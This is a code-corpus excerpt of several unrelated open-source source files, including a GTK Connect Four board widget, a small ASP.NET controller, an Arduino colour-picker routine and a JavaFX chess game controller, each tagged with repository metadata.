IF_CONDITION_NOT_MET_DO(chip, return;); m_controller.OnDown(chip->GetColor(), m_currentDiscPosition); } void cxgui::Board::MoveLeft() { Move(Side::Left); } void cxgui::Board::MoveRight() { Move(Side::Right); } void cxgui::Board::Update(Context p_context) { switch(p_context) { case Context::CHIP_DROPPED: { MoveCurrentDiscAtFirstRow(); RefreshBoardArea(); break; } case Context::GAME_WON: { ClearNextDiscArea(); RefreshBoardArea(); break; } case Context::GAME_REINITIALIZED: { MoveCurrentDiscAtFirstRow(); ClearBoardArea(); break; } } } cxgui::Chip* cxgui::Board::GetChip(Gtk::Grid& p_discArea, int p_left, int p_top) { Widget* child = p_discArea.get_child_at(p_left, p_top); IF_CONDITION_NOT_MET_DO(child, return nullptr;); Chip* chip = dynamic_cast<Chip*>(child); IF_CONDITION_NOT_MET_DO(child, return nullptr;); return chip; } void cxgui::Board::Move(Side p_side) { ChangeCurrentDisc(cxmodel::MakeTransparent()); UpdateNextDiscPosition(p_side); ChangeCurrentDisc(m_presenter.GetGameViewActivePlayerChipColor()); } void cxgui::Board::ChangeCurrentDisc(const cxmodel::ChipColor& p_newColor) { Chip* chip = GetChip(m_nextDiscAreaLayout, m_currentDiscPosition, 0); IF_CONDITION_NOT_MET_DO(chip, return;); chip->ChangeColor(p_newColor); } void cxgui::Board::UpdateNextDiscPosition(Side p_side) { if(p_side == Side::Left) { if(m_currentDiscPosition > 0) { --m_currentDiscPosition; } else { m_currentDiscPosition = m_presenter.GetGameViewBoardWidth() - 1; } } else { if(m_currentDiscPosition < m_presenter.GetGameViewBoardWidth() - 1) { ++m_currentDiscPosition; } else { m_currentDiscPosition = 0u; } } } void cxgui::Board::InitializeNextDiscArea(size_t p_width) { const int chipDimension = ComputeMinimumChipSize(*this, m_presenter.GetGameViewBoardHeight(), m_presenter.GetGameViewBoardWidth()); m_nextDiscAreaLayout.set_row_homogeneous(true); m_nextDiscAreaLayout.set_column_homogeneous(true); Chip* activePlayerChip = Gtk::manage(new DiscChip{m_presenter.GetGameViewActivePlayerChipColor(), cxmodel::MakeTransparent(), chipDimension}); activePlayerChip->set_vexpand(true); activePlayerChip->set_hexpand(true); m_nextDiscAreaLayout.attach(*activePlayerChip, 0, 0, 1, 1); for(size_t i = 1; i < p_width; ++i) { Chip* noChip = Gtk::manage(new DiscChip{cxmodel::MakeTransparent(), cxmodel::MakeTransparent(), chipDimension}); noChip->set_vexpand(true); noChip->set_hexpand(true); m_nextDiscAreaLayout.attach(*noChip, i, 0, 1, 1); } } void cxgui::Board::InitializeBoard(size_t p_height, size_t p_width) { const int chipDimension = ComputeMinimumChipSize(*this, m_presenter.GetGameViewBoardHeight(), m_presenter.GetGameViewBoardWidth()); m_boardLayout.set_row_homogeneous(true); m_boardLayout.set_column_homogeneous(true); for(size_t i = 0; i < p_height; ++i) { for(size_t j = 0; j < p_width; ++j) { Chip* noChip = Gtk::manage(new DiscChip{cxmodel::MakeTransparent(), cxmodel::MakeBlue(), chipDimension}); noChip->set_vexpand(true); noChip->set_hexpand(true); m_boardLayout.attach(*noChip, j, i, 1, 1); } } } void cxgui::Board::MoveCurrentDiscAtFirstRow() { Chip* currentChip = GetChip(m_nextDiscAreaLayout, m_currentDiscPosition, 0); IF_CONDITION_NOT_MET_DO(currentChip, return;); currentChip->ChangeColor(cxmodel::MakeTransparent()); m_currentDiscPosition = 0u; Chip* startChip = GetChip(m_nextDiscAreaLayout, m_currentDiscPosition, 0); IF_CONDITION_NOT_MET_DO(startChip, return;); startChip->ChangeColor(m_presenter.GetGameViewActivePlayerChipColor()); } void cxgui::Board::RefreshBoardArea() { const cxgui::IGameViewPresenter::ChipColors& chipColors = m_presenter.GetGameViewChipColors(); for(size_t row = 0u; row < m_presenter.GetGameViewBoardHeight(); ++row) { for(size_t column = 0u; column < m_presenter.GetGameViewBoardWidth(); ++column) { Chip* chip = GetChip(m_boardLayout, column, row); IF_CONDITION_NOT_MET_DO(chip, return;); chip->ChangeColor(chipColors[row][column]); } } } void cxgui::Board::ClearNextDiscArea() { for(size_t column = 0u; column < m_presenter.GetGameViewBoardWidth(); ++column) { Chip* chip = GetChip(m_nextDiscAreaLayout, column, 0u); IF_CONDITION_NOT_MET_DO(chip, return;); chip->ChangeColor(cxmodel::MakeTransparent()); } } void cxgui::Board::ClearBoardArea() { for(size_t row = 0u; row < m_presenter.GetGameViewBoardHeight(); ++row) { for(size_t column = 0u; column < m_presenter.GetGameViewBoardWidth(); ++column) { Chip* chip = GetChip(m_boardLayout, column, row); IF_CONDITION_NOT_MET_DO(chip, return;); chip->ChangeColor(cxmodel::MakeTransparent()); } } }
BobMorane22/ConnectX
cxgui/src/Board.cpp
C++
gpl-3.0
8,959
using CatalokoSite.Models; using CatalokoSite.Models.Helpers; using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.Mvc; namespace CatalokoSite.Controllers { public class MarketController : Controller { [Route("~/market")] public ActionResult Noticias() { var model = new OpenGraph { title = "Market", description = "Compre e venda no Catáloko", image = "" }; return View(Config.ResolveMasterView(this.HttpContext), model); } } }
albertoroque/cataloko
site/CatalokoSite/Controllers/MarketController.cs
C#
gpl-3.0
642
// This file is part of LEDStick_TFT. // // LEDStick_TFT is free software : you can redistribute it and / or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // LEDStick_TFT is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with LEDStick_TFT.If not, see <http://www.gnu.org/licenses/>. #include "RGBController.h" #include "RGBBitmap.h" #define RGB_SCALE 10 void RGBController::create_interface_components(StickHardware hardware, uint32_t x, uint32_t y) { m_hardware = hardware; m_xmin = x; m_xmax = (COLOR_PICKER_WIDTH * RGB_SCALE) + x; m_ymin = y; m_ymax = (COLOR_PICKER_HEIGHT * RGB_SCALE) + y; hardware.pTft->drawBitmap(x, y, COLOR_PICKER_WIDTH, COLOR_PICKER_HEIGHT, (unsigned int*)color_picker_bmp, RGB_SCALE); } void RGBController::check_point(uint32_t x, uint32_t y, RGB &rgb, boolean has_changed) { if (x < m_xmin || y < m_ymin || x > m_xmax || y > m_ymax) { has_changed = false; return; } m_hardware.pTft->setColor(255, 0, 0); uint32_t point_in_bitmap_x = (x - m_xmin) / RGB_SCALE; uint32_t point_in_bitmap_y = (y - m_ymin) / RGB_SCALE; uint32_t color = pgm_read_word(color_picker_bmp + (point_in_bitmap_y * COLOR_PICKER_WIDTH) + point_in_bitmap_x); rgb.red = ((((color >> 11) & 0x1F) * 527) + 23) >> 6; rgb.green = ((((color >> 5) & 0x3F) * 259) + 33) >> 6; rgb.blue = (((color & 0x1F) * 527) + 23) >> 6; has_changed = true; }
dipsylala/LEDStick_TFT
RGBController.cpp
C++
gpl-3.0
1,772
package GUI; import Logic.AI; import Logic.Board; import Logic.Player; import Logic.SpecialCoord; import Pieces.Coordinate; import Pieces.MasterPiece; import javafx.application.Platform; import javafx.fxml.FXML; import javafx.geometry.Insets; import javafx.geometry.Pos; import javafx.scene.Scene; import javafx.scene.SnapshotParameters; import javafx.scene.canvas.Canvas; import javafx.scene.canvas.GraphicsContext; import javafx.scene.control.Button; import javafx.scene.control.ComboBox; import javafx.scene.control.Label; import javafx.scene.image.Image; import javafx.scene.image.ImageView; import javafx.scene.image.PixelReader; import javafx.scene.image.WritableImage; import javafx.scene.input.MouseEvent; import javafx.scene.layout.HBox; import javafx.scene.layout.Pane; import javafx.scene.layout.VBox; import javafx.scene.paint.Color; import javafx.scene.text.Font; import javafx.scene.text.Text; import javafx.stage.Modality; import javafx.stage.Stage; import sun.java2d.loops.GraphicsPrimitive; import java.io.File; import java.io.FileNotFoundException; import java.io.PrintWriter; import java.util.Scanner; import java.util.Stack; import java.util.concurrent.Exchanger; /*** * Controller Class * This class is responsible for managing the logic behind the GUI. * Intensive logic processes should be run in a separate thread as they will cause the GUI to freeze. * * @author Patrick Shinn * @version 10/28/16 */ public class Controller { // FXML Objects @FXML Label statusLbl = new Label(); @FXML Pane gamePane = new Pane(); @FXML Button undoButton = new Button(); @FXML Button redoButton = new Button(); @FXML ImageView boardStateView = new ImageView(); @FXML Label stateLbl = new Label(); @FXML Canvas canvas = new Canvas(); // Board Shit and such private Board board; // the board for the game. private GraphicsContext graphics; // for drawing private boolean clicked = false; private boolean game = false; private Coordinate[] currentMoveSet = null; // for making moves private Coordinate currentPiece = null; // for making moves private Stack<Board> undoBoard = new Stack<>(); // undo, redo stacks private Stack<Image> undoImage = new Stack<>(); private Stack<Board> redoBoard = new Stack<>(); private Stack<Image> redoImage = new Stack<>(); private String boardTheme = "RedBrown"; // theme info private String tableImage = "wooden"; private String pieceTheme = "default"; private boolean AI = false; // AI info private int oldMouseX = 0; private int oldMouseY = 0; // pieces private Image whitePawn = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/whitePawn.png")); private Image whiteKnight = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/whiteKnight.png")); private Image whiteRook = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/whiteRook.png")); private Image whiteBishop = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/whiteBishop.png")); private Image whiteQueen = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/whiteQueen.png")); private Image whiteKing = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/whiteKing.png")); private Image blackPawn = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/blackPawn.png")); private Image blackKnight = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/blackKnight.png")); private Image blackRook = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/blackRook.png")); private Image blackBishop = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/blackBishop.png")); private Image blackQueen = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/blackQueen.png")); private Image blackKing = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/blackKing.png")); // this will initialize the change listeners and such at when the game is started. public void initialize() { try { // try to apply the users settings from the last game. Scanner settingsReader = new Scanner(new File("Settings.txt")); boardTheme = settingsReader.nextLine(); // read the first line of the settings file and apply it to the board theme tableImage = settingsReader.nextLine(); // second line is the table image pieceTheme = settingsReader.nextLine(); // third is piece theme. settingsReader.close(); }catch (FileNotFoundException e){ // ignore, the game has never been played before or the default settings have never been changed. } // update the status label statusLbl.setText("No game."); // get the ability to draw on it graphics = canvas.getGraphicsContext2D(); // painting on the table top and the empty board. Image table = new Image(getClass().getResourceAsStream("/Graphics/Images/Tables/"+tableImage+"TableTop.png")); graphics.drawImage(table, 0, 0); // draws from the top part of the canvas. freshBoard(); } // settings dialogue public void settings() { new SettingsWindow(); } // shows the instructions on how to play public void info(){new DirectionsWindow();} // opens the about dialogue public void about() { new AboutWindow("About", "Wahjudi’s Highly Advanced Chess", "1.0", "This is an insane version of chess!", "Can't Trump This", "https://github.com/shinn16/Chess"); } // creates a new game public void newGame() { new NewGameWindow(); } // undo the last move. public void undo() { // this stuff is heavily try catched so the popping of one does not interfere with the other. if (!undoBoard.empty() && AI) { // if we are playing against an AI and the stack is not empty try { redoBoard.push(board.copyOf()); // skips the AI turn board = undoBoard.pop(); // gets the last state of the board } catch (Exception e) { // ignore } try { redoImage.push(boardStateView.getImage()); boardStateView.setImage(undoImage.pop()); boardStateView.autosize(); } catch (Exception e) { // ignore } freshBoard(); drawPieces(); redoButton.setDisable(false); if (undoBoard.empty()) undoButton.setDisable(true); // if we have emptied the stack, disable undo // correcting the turn if we need to. int correctTurn = 0; for (Player player: board.getPlayers()){ if (!player.getType().equals("AI")) board.setTurnCounter(correctTurn); else correctTurn ++; } }else{ // we disable the buttons undoButton.setDisable(true); redoButton.setDisable(true); } } // redo the last move public void redo(){ if (!redoBoard.empty() && AI) { try { undoBoard.push(board.copyOf()); // pushing current board then skipping AI moves board = redoBoard.pop(); // gets the last state of the board } catch (Exception e) { // ignore } try { undoImage.push(redoImage.peek()); boardStateView.setImage(redoImage.pop()); // sets the old state image boardStateView.autosize(); } catch (Exception e) { // ignore } freshBoard(); drawPieces(); undoButton.setDisable(false); if (redoBoard.empty()) redoButton.setDisable(true); // correcting the turn if we need to. int correctTurn = 0; for (Player player: board.getPlayers()){ if (!player.getType().equals("AI")) board.setTurnCounter(correctTurn); else correctTurn ++; } }else redoButton.setDisable(true); } // draws the background table private void drawTable(){ graphics.drawImage(new Image(getClass().getResourceAsStream("/Graphics/Images/Tables/"+tableImage+"TableTop.png")), 0, 0); } // redraws board private void freshBoard(){ // draw the new board for the new game. graphics.setStroke(Color.BLACK); // settings up to draw a black border for the board. graphics.setLineWidth(5); // sets the weight of the line for the border graphics.strokeRect(150, 50, 500, 500); // draws rectangle if (boardTheme.equals("glass")){ graphics.setGlobalAlpha(.60); // reduce the opacity if we are painting on the glass. drawTable(); // redraw the table on top so we don't lose our opacity due to us drawing over it multiple times. } // draws the board. for (int y = 0; y < 5; y ++){ // for the y for (int x = 0; x < 5; x ++){ // for the x if ((x+y)%2 == 0){ // tells us which images to use for this spot on the board. graphics.drawImage(new Image(getClass().getResourceAsStream("/Graphics/Images/"+boardTheme+"/blackSpot.png")), (x * 100) + 150, (y * 100) +50); // draws a 100X100 black spot centered }else { graphics.drawImage(new Image(getClass().getResourceAsStream("/Graphics/Images/"+boardTheme+"/whiteSpot.png")), (x * 100) + 150, (y * 100) + 50); // draws a 100X100 white spot centered } } } graphics.setGlobalAlpha(1); graphics.setStroke(Color.AQUA); // new highlight color graphics.setLineWidth(2); // new line width. } // redraws pieces private void drawPieces(){ // draw the pieces on the board // black side if (game){ // if there is a game on, we will draw the pieces at their given coordinates. for (Player player: board.getPlayers()){ for (MasterPiece[] row: board.getBoard()){ for (MasterPiece piece: row){ if (piece != null){ if (piece.getPlayerID() == 0){ try { if (piece.toString().contains("King")) graphics.drawImage(blackKing, (piece.getCoords().getX() + 1) * 100 + 50, (piece.getCoords().getY() + 1) * 100 -50); else if (piece.toString().contains("Queen")) graphics.drawImage(blackQueen, (piece.getCoords().getX() + 1) * 100 + 50, (piece.getCoords().getY() + 1) * 100 -50); else if (piece.toString().contains("Rook")) graphics.drawImage(blackRook, (piece.getCoords().getX() + 1) * 100 + 50, (piece.getCoords().getY() + 1) * 100 - 50); else if (piece.toString().contains("Knight")) graphics.drawImage(blackKnight, (piece.getCoords().getX() + 1) * 100 + 50, (piece.getCoords().getY() + 1) * 100 -50); else if (piece.toString().contains("Bishop")) graphics.drawImage(blackBishop, (piece.getCoords().getX() + 1) * 100 + 50, (piece.getCoords().getY() + 1) * 100 - 50); else if (piece.toString().contains("Pawn")) graphics.drawImage(blackPawn, (piece.getCoords().getX() + 1) * 100 + 50, (piece.getCoords().getY() + 1) * 100 - 50); }catch (NullPointerException e) { // ignore } }else { try{ if (piece.toString().contains("King"))graphics.drawImage(whiteKing, (piece.getCoords().getX() + 1)*100 + 50, (piece.getCoords().getY() + 1)*100 - 50); else if (piece.toString().contains("Queen")) graphics.drawImage(whiteQueen, (piece.getCoords().getX() + 1)*100 + 50, (piece.getCoords().getY() + 1)*100 - 50); else if (piece.toString().contains("Rook")) graphics.drawImage(whiteRook, (piece.getCoords().getX() + 1)*100 + 50, (piece.getCoords().getY() + 1)*100 - 50); else if (piece.toString().contains("Knight")) graphics.drawImage(whiteKnight, (piece.getCoords().getX() + 1)*100 + 50, (piece.getCoords().getY() + 1)*100 - 50); else if (piece.toString().contains("Bishop")) graphics.drawImage(whiteBishop, (piece.getCoords().getX() + 1)*100 + 50, (piece.getCoords().getY() + 1)*100 - 50); else if (piece.toString().contains("Pawn")) graphics.drawImage(whitePawn, (piece.getCoords().getX() + 1)*100 + 50, (piece.getCoords().getY() + 1)*100 - 50); }catch (NullPointerException e) { // ignore } } } } } } }else { // fresh set of pieces graphics.drawImage(blackKing, 150, 50); graphics.drawImage(blackQueen, 250, 50); graphics.drawImage(blackBishop, 350, 50); graphics.drawImage(blackKnight, 450, 50); graphics.drawImage(blackRook, 550, 50); for (int i = 1; i < 6; i++) graphics.drawImage(blackPawn, i * 100 + 50, 150); // white side graphics.drawImage(whiteRook, 150, 450); graphics.drawImage(whiteKnight, 250, 450); graphics.drawImage(whiteBishop, 350, 450); graphics.drawImage(whiteQueen, 450, 450); graphics.drawImage(whiteKing, 550, 450); for (int i = 1; i < 6; i++) graphics.drawImage(whitePawn, i * 100 + 50, 350); // reset the stroke color to be used for highlighting. graphics.setStroke(Color.AQUA); } } // updates the side pane image private void updateLastMoveImage(){ //takes a snap shot to be used as last state image WritableImage state = new WritableImage(700, 700); state = canvas.snapshot(new SnapshotParameters(), state); // cropping state PixelReader reader =state.getPixelReader(); WritableImage currentState = new WritableImage(reader, 150, 50, 500, 500); // shrinking image and displaying it, and adding it to the stack for undo if (game) { if (!board.getCurrentPlayer().getType().equals("AI"))undoImage.push(currentState); boardStateView.setImage(currentState); boardStateView.autosize(); } } // checks for winners private void checkWinner(){ if (!board.gameOver()) { String winner = null; Image winnerKing = null; // this portion determines the winner int whitePlayerPieces = 0; int blackPlayerPieces = 0; for (MasterPiece[] row: board.getBoard()){ for (MasterPiece piece: row){ if (piece != null){ if (piece.getPlayerID() == 0) whitePlayerPieces ++; else blackPlayerPieces ++; } } } if (whitePlayerPieces < blackPlayerPieces){ winner = "Black wins!"; winnerKing = blackKing; } else if (whitePlayerPieces > blackPlayerPieces){ winner = "White wins!"; winnerKing = whiteKing; } else{ winner = "Draw!"; winnerKing = new Image(getClass().getResourceAsStream("/Graphics/Images/"+pieceTheme+"/draw.png")); } new EndOfGameWindow(winner, winnerKing); statusLbl.setText("Game over."); board.setLocked(true); game = false; redoButton.setDisable(true); undoButton.setDisable(true); } else { if (board.getCurrentPlayer().getPlayerNumber() == 0) statusLbl.setText("White's Turn"); else statusLbl.setText("Black's turn."); if (AI) undoButton.setDisable(false); board.nextTurn(); // advances to the next turn. // now we check to see if the next turn is an AI, if so, let it run AICheck(); } } // checks to see if an AI call is needed private void AICheck(){ if (board.gameOver()){ // if we are still playing a game. if (board.getCurrentPlayer().getType().equals("AI")){ board.setLocked(true); // locks the board so the user can't touch it. for (Player player: board.getPlayers()){ // this will invert the players so the AI plays with the correct player if (!player.equals(board.getCurrentPlayer())) new AIThread(player, board).run(); } } } } // gets the current mouse location public void getMouseHover(MouseEvent event) { try { if (game){ // if we are currently in a game int mouse_x = (int) event.getSceneX(); int mouse_y = (int) event.getSceneY(); // this will give us the index of the board position. mouse_x = (mouse_x - 50) / 100 - 1; mouse_y = (mouse_y + 20) / 100 - 1; if (!board.isLocked()){ // if the board is not locked if (!clicked) { // if the user has not already selected a piece to play with if (board.getPiece(mouse_y, mouse_x).getPlayerID() == board.getTurnCounter() && mouse_x == oldMouseX && mouse_y == oldMouseY){ // if the current piece belongs to the player and this is the most recent spot we have been to graphics.strokeRect((mouse_x + 1) * 100 + 52, (mouse_y + 1) * 100 - 48, 98, 98);// highlight the piece tile in blue }else { oldMouseX = mouse_x; oldMouseY = mouse_y; freshBoard(); drawPieces(); } } } } }catch (Exception e){ // ignore } } //gets the current location of the mouse click and does the appropriate actions public void getMouseClick(MouseEvent event) { try { int mouse_x = (int) event.getSceneX(); int mouse_y = (int) event.getSceneY(); // this will give us the index of the board position. mouse_x = (mouse_x - 50) / 100 - 1; mouse_y = (mouse_y + 20) / 100 - 1; // now we try to get a piece at these coordinates. // ensures we are on the board, otherwise resets all graphics in current state. if (board.isLocked()) new WarningWindow("Game Over!", "The game is over or the AI is thinking, either make a \nnew game or be patient."); else { if (mouse_x < 0 || mouse_y < 0 || mouse_x > 4 || mouse_y > 4) { if (game) { freshBoard(); drawPieces(); } if (clicked) undoBoard.pop(); clicked = false; currentMoveSet = null; currentPiece = null; }else if (clicked && currentPiece.equals(new Coordinate(mouse_x, mouse_y))){ // for some reason this case needs to appear. Logically it shouldn't, but this is a quick fix. clicked = false; freshBoard(); // update the board. drawPieces(); }else if (clicked) { // if we have already selected a piece if (currentMoveSet.length == 0) { // if we have no moves, clear the board of move options. clicked = false; freshBoard(); drawPieces(); } else { for (Coordinate move : currentMoveSet) { if (mouse_x == move.getX() && mouse_y == move.getY()) { // if the current click is in the move set, make the move. if (board.getPiece(move.getY(), move.getX()) != null) { // if there is an enemy piece at this point int pieceAttacked = board.getPiece(move.getY(), move.getX()).getArrayIndex(); // gets the index of the piece board.getPlayers()[board.getTurnCounter()].capturePiece(pieceAttacked); // remove the piece from the opponents list of pieces } board.makeMove(board.getPiece(currentPiece.getY(), currentPiece.getX()), mouse_y, mouse_x); // move the piece redoBoard = new Stack<>(); // dump the redo stack redoImage = new Stack<>(); // dump the redo images redoButton.setDisable(true); // disable the redo button because the stack is now empty updateLastMoveImage(); freshBoard(); // update the board. drawPieces(); clicked = false; // reset click checkWinner(); } else { // else, clear the stuff. clicked = false; freshBoard(); drawPieces(); } } } // if we have not already selected a piece and there is a piece at the current position, we also enforce turns here. } else if (board.getPiece(mouse_y, mouse_x) != null && board.getTurnCounter() == board.getPiece(mouse_y, mouse_x).getPlayerID()) { // if we have picked a piece of the current player. graphics.strokeRect((mouse_x + 1) * 100 + 52, (mouse_y + 1) * 100 - 48, 98, 98);// highlight the piece tile in blue if (board.hasAttack()) { // if the current player has an attack if (board.getPiece(mouse_y, mouse_x).hasAttack(board)) { // if the selected piece has an attack currentPiece = board.getPiece(mouse_y, mouse_x).getCoords(); // store this piece for the next run currentMoveSet = board.getPiece(mouse_y, mouse_x).getMoves(board); // store the moveset for the next run for (Coordinate coordinate : currentMoveSet) { //for every move in the move set, highlight the spots. graphics.setStroke(Color.RED); graphics.strokeRect((coordinate.getX() + 1) * 100 + 52, (coordinate.getY() + 1) * 100 - 48, 96, 96); } } } else { // if there are no attacks to be made, so any piece can move currentPiece = board.getPiece(mouse_y, mouse_x).getCoords(); // store this piece for the next run currentMoveSet = board.getPiece(mouse_y, mouse_x).getMoves(board); // store the moveset for the next run for (Coordinate coordinate : currentMoveSet) { //for every move in the move set, highlight the spots. // highlight it yellow. graphics.setStroke(Color.YELLOW); // set to yellow to highlight the moves graphics.strokeRect((coordinate.getX() + 1) * 100 + 52, (coordinate.getY() + 1) * 100 - 48, 96, 96); } } graphics.setStroke(Color.AQUA); // reset color undoBoard.push(board.copyOf()); clicked = true; // we have clicked a piece } } }catch (NullPointerException e){ // ignore } } // ------------------------------ Private internal classes ------------------------------ private class AboutWindow { private String windowName, developer, version, appName, website, aboutApp; private Stage window; private AboutWindow(String windowName, String appName, String version, String aboutApp, String developer, String website) { this.windowName = windowName; this.appName = appName; this.version = version; this.aboutApp = aboutApp; this.developer = developer; this.website = website; display(); } private void display() { // Stage setup window = new Stage(); window.setTitle(windowName); window.initModality(Modality.APPLICATION_MODAL); // means that while this window is open, you can't interact with the main program. // buttons Button closeBtn = new Button("Close"); closeBtn.setOnAction(e -> window.close()); // Labels Label appNameLabel = new Label(appName); Label websiteLabel = new Label("Website: " + website); Label aboutAppLabel = new Label(aboutApp); aboutAppLabel.setAlignment(Pos.CENTER); Label developerLabel = new Label("Developers: " + developer); Label versionLabel = new Label("Version: " + version); // Images ImageView imageView = new ImageView(new Image(getClass().getResourceAsStream("/Graphics/Images/App.png"))); // Layout type VBox layout = new VBox(10); HBox closeBox = new HBox(); closeBox.getChildren().addAll(closeBtn); closeBox.setAlignment(Pos.CENTER_RIGHT); closeBox.setPadding(new Insets(5, 5, 5, 5)); layout.getChildren().addAll(imageView, appNameLabel, developerLabel, versionLabel, aboutAppLabel, websiteLabel, closeBox); layout.setAlignment(Pos.CENTER); // Building scene and displaying. Scene scene = new Scene(layout); scene.getStylesheets().addAll("/Graphics/CSS/StyleSheet.css"); window.setScene(scene); window.setHeight(400); window.setWidth(550); window.setResizable(false); window.getIcons().add(new Image(getClass().getResourceAsStream("/Graphics/Images/App.png"))); window.show(); } } private class WarningWindow { // a warning window for when the user does something wrong. private String windowTitle; private String warning; WarningWindow(String windowTitle, String warning) { this.windowTitle = windowTitle; this.warning = warning; display(); } private void display() { // displays the window Stage window = new Stage(); window.setTitle(windowTitle); window.initModality(Modality.APPLICATION_MODAL); // means that while this window is open, you can't interact with the main program. // buttons Button closeBtn = new Button("Close"); closeBtn.setOnAction(e -> window.close()); // labels Label warningLabel = new Label(warning); // images ImageView warningImage = new ImageView(new Image(getClass().getResourceAsStream("/Graphics/Images/warning.png"))); // Building the window VBox layout = new VBox(10); HBox closeBox = new HBox(); closeBox.getChildren().addAll(closeBtn); closeBox.setAlignment(Pos.CENTER_RIGHT); closeBox.setPadding(new Insets(5, 5, 5, 5)); HBox hBox = new HBox(10); hBox.getChildren().addAll(warningImage, warningLabel); hBox.setAlignment(Pos.CENTER); layout.getChildren().addAll(hBox, closeBox); layout.setAlignment(Pos.CENTER); // Showing the window Scene scene = new Scene(layout); scene.getStylesheets().addAll("Graphics/CSS/StyleSheet.css"); window.setScene(scene); window.setHeight(200.00); window.setWidth(550.00); window.getIcons().add(new Image(getClass().getResourceAsStream("/Graphics/Images/App.png"))); window.show(); } } private class NewGameWindow { private Stage primaryStage = new Stage(); private Button playBtn = new Button("Play"); private Button closeBtn = new Button("Cancel"); private Label whiteLbl = new Label("White"); private Label blackLbl = new Label("Black"); private ComboBox<String> whiteOptions = new ComboBox<>(); private ComboBox<String> blackOptions = new ComboBox<>(); private ComboBox<String> firstPlayer = new ComboBox<>(); private Label goesFirst = new Label("Goes First"); private NewGameWindow() { statusLbl.setText("Setting up new game."); display(); } private void display() { // builds and displays the window. // setting up the buttons closeBtn.setOnAction(e -> cancelMethod()); playBtn.setOnAction(e -> playBtnMethod()); //settings up player options whiteOptions.getItems().addAll("Human", "AI"); blackOptions.getItems().addAll("Human", "AI"); firstPlayer.getItems().addAll("White" , "Black"); firstPlayer.setValue("White"); // layout setup VBox layout = new VBox(10); // white options section HBox whiteSection = new HBox(10); whiteOptions.setValue("None"); // value whiteSection.getChildren().addAll(whiteLbl, whiteOptions); whiteSection.setAlignment(Pos.CENTER); // black section options HBox blackSection = new HBox(10); blackOptions.setValue("None"); // initial value blackSection.getChildren().addAll(blackLbl, blackOptions); blackSection.setAlignment(Pos.CENTER); // button section HBox buttonsSection = new HBox(10); buttonsSection.setAlignment(Pos.CENTER_RIGHT); buttonsSection.getChildren().addAll(closeBtn, playBtn); buttonsSection.setPadding(new Insets(5, 5, 5, 5)); // setting spacing around the Hbox // building main layout layout.getChildren().addAll(whiteSection, blackSection, goesFirst, firstPlayer, buttonsSection); layout.setAlignment(Pos.CENTER); // building window Scene scene = new Scene(layout); scene.getStylesheets().addAll("/Graphics/CSS/StyleSheet.css"); // sets the style sheet. primaryStage.setScene(scene); primaryStage.setTitle("New Game"); primaryStage.initModality(Modality.APPLICATION_MODAL); // sets the window to be modal, meaning the underlying window cannot be used until this one is closed. primaryStage.setWidth(245); primaryStage.setHeight(210); primaryStage.setResizable(false); // this window cannot be resized. primaryStage.show(); // displays the window } private void cancelMethod(){ primaryStage.close(); statusLbl.setText("No game."); } private void playBtnMethod() { String playerOneType = whiteOptions.getValue(); String playerTwoType = blackOptions.getValue(); if (playerOneType.equals("None") || playerTwoType.equals("None"))// if the player failed to set one of the players properly new WarningWindow("Looks like there is something wrong with your settings...", "You have to apply settings for both players!"); else { // if the player has set up the right options for the game stateLbl.setOpacity(1); // makes this visible Player white = new Player(playerTwoType, 0); // set the player types Player black = new Player(playerOneType, 1); board = new Board(white, black); // set the board up with white going first. if (firstPlayer.getValue().equals("White")) statusLbl.setText("White's turn."); // sets the status label to who's turn it is else { board.setTurnCounter(0); statusLbl.setText("Black's turn."); } // dump the stacks from last run undoBoard = new Stack<>(); undoImage = new Stack<>(); redoBoard = new Stack<>(); redoImage = new Stack<>(); game = true; // we are now playing a game. freshBoard(); // draw board and pieces, then update last board state drawPieces(); updateLastMoveImage(); if ((playerOneType.equals("AI") || playerTwoType.equals("AI")) && (!(playerOneType.equals("AI") && playerTwoType.equals("AI")))) AI = true; AICheck(); primaryStage.close(); } } } private class EndOfGameWindow { private double width = 400; private Stage primaryStage = new Stage(); private Label messageLabel = new Label(); private Button okayButton = new Button("Okay"); private Image fireworks = new Image(getClass().getResourceAsStream("/Graphics/Images/fireworks.gif")); private ImageView leftWorks = new ImageView(fireworks); private ImageView rightWorks = new ImageView(fireworks); private ImageView winnerKingView = new ImageView(); private EndOfGameWindow(String message, Image winnerKing) { winnerKingView.setImage(winnerKing); messageLabel.setText(message); okayButton.setOnAction(e -> primaryStage.close()); if (message.equals("Draw!"))width = 500; // we need a bigger window to accommodate the draw image. // vbox VBox vertical = new VBox(20); vertical.getChildren().addAll(winnerKingView, messageLabel, okayButton); vertical.setPadding(new Insets(5, 5, 5, 5)); vertical.setAlignment(Pos.CENTER); // main layout HBox layout = new HBox(5); layout.getChildren().addAll(leftWorks, vertical, rightWorks); layout.setAlignment(Pos.CENTER); Scene scene = new Scene(layout); scene.getStylesheets().addAll("/Graphics/CSS/StyleSheet.css"); primaryStage.setScene(scene); primaryStage.initModality(Modality.APPLICATION_MODAL); // sets the window to be modal, meaning the underlying window cannot be used until this one is closed. primaryStage.setWidth(width); primaryStage.setHeight(250); primaryStage.setResizable(false); // this window cannot be resized.\ primaryStage.setTitle("End of Game"); // window title primaryStage.getIcons().add(new Image(getClass().getResourceAsStream("/Graphics/Images/App.png"))); // window icon primaryStage.show(); // displays the window } } private class SettingsWindow { private Stage primaryStage = new Stage(); // stages are basically windows private ComboBox<String> tableThemes = new ComboBox<>(); // 